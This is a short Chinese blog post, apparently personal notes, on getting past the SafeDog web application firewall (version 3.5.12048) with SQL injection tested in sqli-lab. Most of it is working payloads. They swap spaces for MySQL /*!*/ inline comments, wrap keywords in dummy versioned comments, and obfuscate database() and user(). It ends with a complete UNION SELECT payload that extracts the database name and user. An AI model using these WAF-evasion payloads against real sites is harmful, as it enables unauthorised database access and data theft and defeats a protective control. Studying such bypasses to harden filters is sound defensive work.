2020年初绕过安全狗思路 楼下的小可怜

简单绕过bapass安全狗

版本


版本号为3.5.12048,规则也更新到最新

环境

我们用sqli-lab来进行测试,主要是方便,刚好有环境,改一下代码就可以用了

我们可以看到初始语句如下:
SELECT * FROM users WHERE id='1' LIMIT 0,1

空白符绕过

测试单引号'和双引号"是不拦截的

经过测试,诸如?id=1' AND 1=1 --+的语句均会被拦截,

但是可以用如下语句进行绕过
?id=1' AND 1=1 --+
?id=1'/*!*/AND/*!*/1=1/*!*/--+
也就是用/*!*/替换了空格,在mysql中,可以利用/*!*/包含关键词进行绕过(这个方法已经可以被拦截了),在mysql中这个不是注释,而是取消注释的内容。

关键字绕过

?id=-1'/*!*/union/*!*/select/*!*/1,2,3/*!*/--+
会被拦截
可以用下面语句进行绕过:
?id=-1'/*!*/union/*!888888cas*//*!*//*!888888cas*/select/*!*/1,2,3/*!*/--+
在前后加任意的取消注释可以绕过

database() user()函数同理

databse()
替换成:/*!database*//*!()*/
user()
替换成:/*!user*//*!()*/

可以灵活运用
最后语句如下:
?id=-1'/*!*/union/*!888888cas*//*!*//*!888888cas*/select/*!*/1,/*!database*//*!()*/,/*!user*//*!()*//*!*/--+

小弟不才,思路整理,也作为自身的笔记记录,有更好的想法可多多指点。

原文地址:https://www.cnblogs.com/w0x68y/p/12206019.html